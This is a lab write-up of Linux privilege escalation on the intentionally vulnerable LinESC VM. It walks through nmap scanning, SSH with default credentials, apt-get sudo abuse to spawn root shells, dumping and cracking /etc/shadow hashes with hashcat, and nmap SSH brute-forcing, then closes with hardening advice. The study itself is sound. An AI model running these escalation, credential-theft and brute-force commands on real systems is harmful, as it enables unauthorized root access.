

```
$Mounting securityfs on /sys/kernel/security: done.
Loading AppArmor profiles : done.
* Checking minimum space in /tmp... [ OK ]
* Skipping firewall: ufw (not enabled)... [ OK ]
* Configuring network interfaces... [ OK ]
* Starting portmap daemon... [ OK ]
* Starting NFS common utilities [ OK ]
* Setting up console font and keymap... [ OK ]
* Starting system log daemon... [ OK ]
* Starting kernel log daemon... [ OK ]
* Starting OpenBSD Secure Shell server sshd [ OK ]
* Starting portmap daemon... [ OK ]
* Already running. [ OK ]
* Starting MySQL database server mysqld [ OK ]
* Checking for corrupt, not cleanly closed and upgrade needing tables.
* Starting NFS common utilities [ OK ]
* Exporting directories for NFS kernel daemon... [ OK ]
* Starting NFS kernel daemon [ OK ]
* Starting deferred execution scheduler atd [ OK ]
* Starting periodic command scheduler crond [ OK ]
* Running local boot scripts (/etc/rc.local) [ OK ]

Ubuntu 8.04.4 LTS LinESC tty1
LinESC login: h
```

Privilege Escalation on LinESC

2.01.2025

Blessing Isaiah

blessingisaiah59@gmail.com

Overview

For educational purposes only, this project will guide you through the steps on how to exploit vulnerability on the LinESC machine.

The aim is to provide an understanding of the vulnerabilities within the LinESC operating system and to emphasize the importance of securing your system against unauthorized access. By following this project, you'll gain valuable insights into how these security

mechanisms work, but remember, this is strictly for learning and should not be used for any malicious intent.

Tools

- LinEsc is a machine built to demonstrate the 7 most common ways of Linux privilege escalation.
- Target: get root privileges in different ways.
- Default credentials : (muhammad:nasef)
- Virtual Box
- Kali Linux

System Enumeration

Use nmap to scan for open ports and services running on the system

*The command **nmap -A -p- -T4 <target>** performs an aggressive and comprehensive scan on all TCP ports of the specified target, gathering detailed information about the operating system, service versions, and network paths.*

```
(cyber@kali)~$ nmap -A -p- -T4 10.0.2.19
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-01 16:09 CST
Nmap scan report for 10.0.2.19
Host is up (0.0097s latency).
Not shown: 65529 closed tcp ports (conn-refused)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 4.7p1 Debian 8ubuntu3 (protocol 2.0)
| ssh-hostkey:
|_ 1024 75:51:bc:56:37:e3:ff:6c:dc:7e:61:eb:0f:ef:0f:ba (DSA)
|_ 2048 a6:89:c0:d1:b1:33:0e:3c:85:cb:7c:78:17:b2:17:b8 (RSA)
111/tcp    open  rpcbind  2 (RPC #100000)
| rpcinfo:
|_ program version    port/proto  service
|_ 100000  2                111/tcp    rpcbind
|_ 100000  2                111/udp    rpcbind
|_ 100003  2,3,4           2049/tcp    nfs
|_ 100003  2,3,4           2049/udp    nfs
|_ 100005  1,2,3           51716/tcp   mountd
|_ 100005  1,2,3           57479/udp   mountd
|_ 100021  1,3,4           47949/udp   nlockmgr
|_ 100021  1,3,4           48124/tcp   nlockmgr
|_ 100024  1                45871/udp   status
|_ 100024  1                60988/tcp   status
2049/tcp   open  nfs       2-4 (RPC #100003)
48124/tcp  open  nlockmgr  1-4 (RPC #100021)
51716/tcp  open  mountd    1-3 (RPC #100005)
60988/tcp  open  status    1 (RPC #100024)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 105.52 seconds
```

Since port 22 is open, use the default credentials to connect to the system using ssh

ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa muhammad@<target>

The command is particularly useful when connecting to older servers or systems that require the **ssh-rsa** algorithm for the host key and public key authentication. By default, some newer SSH clients might have deprecated or disabled older algorithms like **ssh-rsa** due to security concerns. This command re-enables the **ssh-rsa** algorithm for this specific connection.

```
(cyber@kali)-[~]
$ ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa muhammad@10.0.2.19

The authenticity of host '10.0.2.19 (10.0.2.19)' can't be established.
RSA key fingerprint is SHA256:0UvX083e6QwEkLHKeRpci0wGtvFoF2UEAFsnqatHQRA.
This host key is known by the following other names/addresses:
  ~/.ssh/known_hosts:2: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.0.2.19' (RSA) to the list of known hosts.
muhammad@10.0.2.19's password:
Linux LinESC 2.6.24-26-server #1 SMP Tue Dec 1 18:26:43 UTC 2009 x86_64

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
Last login: Thu Dec  3 00:46:50 2020 from 192.168.190.135
muhammad@LinESC:~$
```

Further enumeration to get the system details

```
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
Last login: Thu Dec  3 00:46:50 2020 from 192.168.190.135
muhammad@LinESC:~$ hostname
LinESC
muhammad@LinESC:~$ uname
Linux
muhammad@LinESC:~$ uname -a
Linux LinESC 2.6.24-26-server #1 SMP Tue Dec 1 18:26:43 UTC 2009 x86_64 GNU/Linux
muhammad@LinESC:~$
```

```
muhammad@LinESC:~$ cat /proc/version
Linux version 2.6.24-26-server (build@crested) (gcc version 4.2.4 (Ubuntu 4.2.4-1ubuntu3)) #1 SMP Tue Dec 1 18:26:43 UTC 2009
```

User enumeration

```
muhammad@LinESC:~$ id
uid=1000(muhammad) gid=1000(muhammad) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugindev),107(fuse),111(lpadmin),112(sambashare),113(admin),1000(muhammad)
muhammad@LinESC:~$
```

Sudoer enumeration

sudo -l

This provides a comprehensive view of the user's identity and their permissions on the system.

```
muhammad@LinESC:~$ sudo -l
User muhammad may run the following commands on this host:
    (root) NOPASSWD: /home/muhammad/vuln/2/sudo
    (root) NOPASSWD: /bin/wget
    (root) NOPASSWD: /usr/bin/apt-get
muhammad@LinESC:~$
```

Exploiting the apt-get sudo privilege

sudo apt-get update -o APT::Update::Pre-Invoke::= /bin/bash

The command essentially tells apt-get to run /bin/bash (which starts a new bash shell) before executing the update command. This is not a common practice and could be used for debugging or other specific purposes, but running arbitrary commands in this manner can be risky and should be done with caution.

```
muhammad@LinESC:~$ sudo apt-get update -o APT::Update::Pre-Invoke::= /bin/bash
root@LinESC:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
root@LinESC:/tmp#
```

Further apt-get sudo exploitation using the following commands

TF=\$(mktemp)

echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > \$TF

sudo apt-get install -c \$TF sl

python -c 'import pty; pty.spawn("/bin/bash")'

These commands create a temporary configuration file to modify the behavior of **apt-get** temporarily and then create an interactive Bash shell using Python.

```

muhammad@LinESC:~$ TF=$(mktemp)
muhammad@LinESC:~$ echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF
muhammad@LinESC:~$ sudo apt-get install -c $TF sl
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following packages were automatically installed and are no longer required:
  libnet-daemon-perl libmysqlclient15off libdbi-perl libdbd-mysql-perl libplrpc-perl mysql-common mysql-server-5.0 mysql-clie
Use 'apt-get autoremove' to remove them.
The following NEW packages will be installed:
  sl
0 upgraded, 1 newly installed, 0 to remove and 51 not upgraded.
Need to get 27.0kB of archives.
After this operation, 201kB of additional disk space will be used.
Get:1 http://old-releases.ubuntu.com hardy/universe sl 3.03-15 [27.0kB]
Fetched 27.0kB in 1s (23.7kB/s)
#
# !/bin/sh
/bin/sh: !/bin/sh: not found
# !/bin/sh
/bin/sh: !/bin/sh: not found
# !/bin/bash
/bin/sh: !/bin/bash: not found
#       python -c 'import pty; pty.spawn("/bin/bash")'
root@LinESC:/tmp# ls
tmp.EHIQg9139 tmp.hdlUpi9282 tmp.QmkWsk9630 tmp.sNNhbD9287
root@LinESC:/tmp# cd
root@LinESC:~# python -c 'import pty; pty.spawn("/bin/bash")'
root@LinESC:~#

```

Check the system history for any relevant command that might be useful

The **history** command is a powerful tool for managing and recalling previous commands, making it easier to repeat or modify commands without retyping them.

```

muhammad@LinESC:~$ history
 1  ./suid
 2  su root
 3  ./suid.py
 4  ls -la
 5  su root
 6  ls
 7  rm suid.py
 8  ls
 9  ls -la
10  sudo su
11  ./suid.py
12  ls
13  su root
14  ls
15  ./suid.py
16  su root
17  sudo /home/muhammad/vuln/2/sudo
18  ls
19  sudo -l
20  sudo /home/muhammad/vuln/2/sudo
21  sudo -l
22  sudo /home/muhammad/vuln/2/sudo
23  ls
24  cd /tmp/
25  ls
26  echo"follow me @nasefmuhammad"
27  sudo root chicken
28  vi raptor_udf2.c

```

Exploiting the history commands

The above commands might be useful but let's exploit a few.

By running this command, you are executing a custom **sudo** script or program located at **/home/muhammad/vuln/2/** with superuser privileges.

```
muhammad@LinESC:/root$ cd
muhammad@LinESC:~$ sudo /home/muhammad/vuln/2/sudo
# python -c 'import pty; pty.spawn("/bin/bash")'
root@LinESC:~#
```

If you look closely you will see the root password

```
6 echo"follow me @nasefmuhammad"
7 sudo root chicken
8 vi raptor_udf2.c
9 ls
0 gcc -g -c raptor_udf2.c
1 gcc -g -c -fPIC raptor_udf2.c
2 ls
3 gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
4 mysql -u root -p
5 echo os.system('/bin/bash')
6 echo os.system('/bin/bash')
7 mysql -u root -p
8 cd /usr/lib/mysql
9 sudo apt-get remove mysql-server
0 hostname
```

Let's check it out

```
muhammad@LinESC:/$ su root
Password:
root@LinESC:/# uname
Linux
root@LinESC:/# whoami
root
root@LinESC:/#
```

Let's Crack the hash file using hashcat to gain root access

```
muhammad@LinESC:~$ cat /etc/shadow
root:$1$CAd5wg19$PPFB77TbL01GjQZNuvecp.:18598:0:99999:7:::
daemon:*:18598:0:99999:7:::
bin:*:18598:0:99999:7:::
sys:*:18598:0:99999:7:::
sync:*:18598:0:99999:7:::
games:*:18598:0:99999:7:::
man:*:18598:0:99999:7:::
lp:*:18598:0:99999:7:::
mail:*:18598:0:99999:7:::
news:*:18598:0:99999:7:::
uucp:*:18598:0:99999:7:::
proxy:*:18598:0:99999:7:::
www-data:*:18598:0:99999:7:::
backup:*:18598:0:99999:7:::
list:*:18598:0:99999:7:::
irc:*:18598:0:99999:7:::
gnats:*:18598:0:99999:7:::
nobody:*:18598:0:99999:7:::
libuuid:!:18598:0:99999:7:::
dhcpc:*:18598:0:99999:7:::
syslog:*:18598:0:99999:7:::
klog:*:18598:0:99999:7:::
muhammad:$1$CpL1w2u1$ARqLJY0eBlsxRbsX0RHN.1:18598:0:99999:7:::
sshd:*:18598:0:99999:7:::
mysql:!:18599:0:99999:7:::
statd:*:18599:0:99999:7:::
muhammad@LinESC:~$
```

```
(cyber@kali)-[~]
$ sudo hashcat -m 500 pass2.txt /usr/share/wordlists/rockyou.txt -O
hashcat (v6.2.6) starting
```

```
$1$CAd5wg19$PPFB77TbL01GjQZNuvecp.:chicken
Cracking performance lower than expected?
```

Let's check it out

```
muhammad@LinESC:/$ su root
Password:
root@LinESC:/# uname
Linux
root@LinESC:/# whoami
root
root@LinESC:/#
```

Another way to exploit this Machine is through Nmap brute forcing

Scan with nmap

```
(cyber@kali)-[~]
$ sudo nmap -A 10.0.2.18
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-27 10:44 CST
Nmap scan report for 10.0.2.18
Host is up (0.0039s latency).
Not shown: 997 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh      OpenSSH 4.7p1 Debian 8ubuntu3 (protocol 2.0)
| ssh-hostkey:
|_ 1024 75:51:bc:56:37:e3:ff:6c:dc:7e:61:eb:0f:ef:0f:ba (DSA)
|_ 2048 a6:89:c0:d1:b1:33:0e:3c:85:cb:7c:78:17:b2:17:b8 (RSA)
111/tcp    open  rpcbind  2 (RPC #100000)
| rpcinfo:
|_ program version  port/proto  service
|_ 100000 2          111/tcp    rpcbind
|_ 100000 2          111/udp    rpcbind
|_ 100003 2,3,4      2049/tcp   nfs
|_ 100003 2,3,4      2049/udp   nfs
|_ 100005 1,2,3      36699/udp  mountd
|_ 100005 1,2,3      55101/tcp  mountd
|_ 100021 1,3,4      43519/tcp  nlockmgr
|_ 100021 1,3,4      56982/udp  nlockmgr
|_ 100024 1          58211/udp  status
|_ 100024 1          59137/tcp  status
2049/tcp   open  nfs       2-4 (RPC #100003)
MAC Address: 08:00:27:57:F1:8C (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Check the authentication method using nmap script

The command **`sudo nmap --script "(ssh* and not brute)" <target>`** performs a scan on the specified target using Nmap and runs all SSH-related scripts except those that perform brute-force attacks. This can be useful for gathering information about the target's SSH services without conducting aggressive or intrusive brute-force testing.

```
(cyber@kali)-[~]
$ sudo nmap --script "(ssh* and not brute)" 10.0.2.18
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-27 10:35 CST
NSE: [ssh-run] Failed to specify credentials and command to run.
Nmap scan report for 10.0.2.18
Host is up (0.0026s latency).
Not shown: 997 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
| ssh-publickey-acceptance:
|_ Accepted Public Keys: No public keys accepted
| ssh-hostkey:
|_ 1024 75:51:bc:56:37:e3:ff:6c:dc:7e:61:eb:0f:ef:0f:ba (DSA)
|_ 2048 a6:89:c0:d1:b1:33:0e:3c:85:cb:7c:78:17:b2:17:b8 (RSA)
| ssh2-enum-algos:
|_ kex_algorithms: (4)
|_   diffie-hellman-group-exchange-sha256
|_   diffie-hellman-group-exchange-sha1
|_   diffie-hellman-group14-sha1
|_   diffie-hellman-group1-sha1
|_ server_host_key_algorithms: (2)
|_   ssh-rsa
|_   ssh-dss
|_ encryption_algorithms: (13)
|_   aes128-cbc
|_   3des-cbc
|_   blowfish-cbc
```


Since the ssh authentication method is password and public key

```

aes192-cbc
aes256-cbc
rijndael-cbc@lysator.liu.se
aes128-ctr
aes192-ctr
aes256-ctr
mac_algorithms: (7)
  hmac-md5
  hmac-sha1
  umac-64@openssh.com
  hmac-ripemd160
  hmac-ripemd160@openssh.com
  hmac-sha1-96
  hmac-md5-96
compression_algorithms: (2)
  none
  zlib@openssh.com
ssh-auth-methods:
  Supported authentication methods:
    publickey
    password
ssh-run: Failed to specify credentials and command to run.
1/tcp open  rpcbind
49/tcp open  nfs
C Address: 08:00:27:57:F1:8C (Oracle VirtualBox virtual NIC)

```

Let's brute-force the ssh port (22)

The command `Nmap -p 22 --script ssh-brute --script-args userdb=users.lst, passdb=pass.lst \ \ --script-args ssh-brute.timeout=4s <target>` performs a brute-force attack on the SSH service (port 22) of the specified target. It uses the usernames listed in `users.lst` and the passwords listed in `pass.lst`, with a timeout of 4 seconds for each attempt.

```

--(cyber@kali)-[~]
--$ nmap -p 22 --script ssh-brute --script-args userdb=users.lst,passdb=pass.lst \
--script-args ssh-brute.timeout=4s 10.0.2.18
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-27 11:26 CST
NSE: [ssh-brute] Trying username/password pair: root:root
NSE: [ssh-brute] Trying username/password pair: admin:admin
NSE: [ssh-brute] Trying username/password pair: administrator:administrator
NSE: [ssh-brute] Trying username/password pair: webadmin:webadmin
NSE: [ssh-brute] Trying username/password pair: sysadmin:sysadmin
NSE: [ssh-brute] Trying username/password pair: netadmin:netadmin
NSE: [ssh-brute] Trying username/password pair: guest:guest
NSE: [ssh-brute] Trying username/password pair: user:user

```

result

```

PORT      STATE SERVICE
22/tcp    open  ssh
| ssh-brute:
|   Accounts:
|     root:chicken - Valid credentials
|_ Statistics: Performed 1777 guesses in 600 seconds, average tps: 2.9
MAC Address: 08:00:27:57:F1:8C (Oracle VirtualBox virtual NIC)

Nmap done: 2 IP addresses (1 host up) scanned in 604.69 seconds

```

Exploiting with the credentials

```
(cyber@kali)~$ sudo ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa root@10.0.2.18
The authenticity of host '10.0.2.18 (10.0.2.18)' can't be established.
RSA key fingerprint is SHA256:0UvX083e6QwEkLHKeRPci0wGtvFoF2UEAfSNqatHQRA.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '10.0.2.18' (RSA) to the list of known hosts.
root@10.0.2.18's password:
Last login: Fri Dec 27 13:04:18 2024 from 10.0.2.15
Linux LinESC 2.6.24-26-server #1 SMP Tue Dec 1 18:26:43 UTC 2009 x86_64

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
root@LinESC:~# whoami
root
root@LinESC:~# ls -la
total 28
drwxr-xr-x  3 root root 4096 2020-12-03 00:17 .
drwxr-xr-x 21 root root 4096 2024-12-27 11:14 ..
-rw-r--r--  1 root root 3321 2020-12-04 07:01 .bash_history
-rw-r--r--  1 root root 2227 2007-10-20 07:51 .bashrc
-rw-r--r--  1 root root  10 2020-12-03 00:17 .mysql_history
-rw-r--r--  1 root root 141 2007-10-20 07:51 .profile
drwxr-xr-x  2 root root 4096 2020-12-02 23:00 .ssh
root@LinESC:~# @10.0.2.18
-bash: @10.0.2.18: command not found
root@LinESC:~#
```

How to avoid this attack

Regular Update and Patch:

- Keep your system and all installed packages up-to-date with the latest security patches.

Least Privilege Principle:

- Grant users and applications only the minimum privileges they need to perform their tasks.

Strong Password Policies:

- Enforce the use of strong, unique passwords and implement multi-factor authentication where possible.

Disable Unnecessary Services:

- Turn off and remove services and applications that are not required, reducing potential attack vectors.

Secure SSH:

- Disable root login via SSH and use key-based authentication instead of passwords for added security.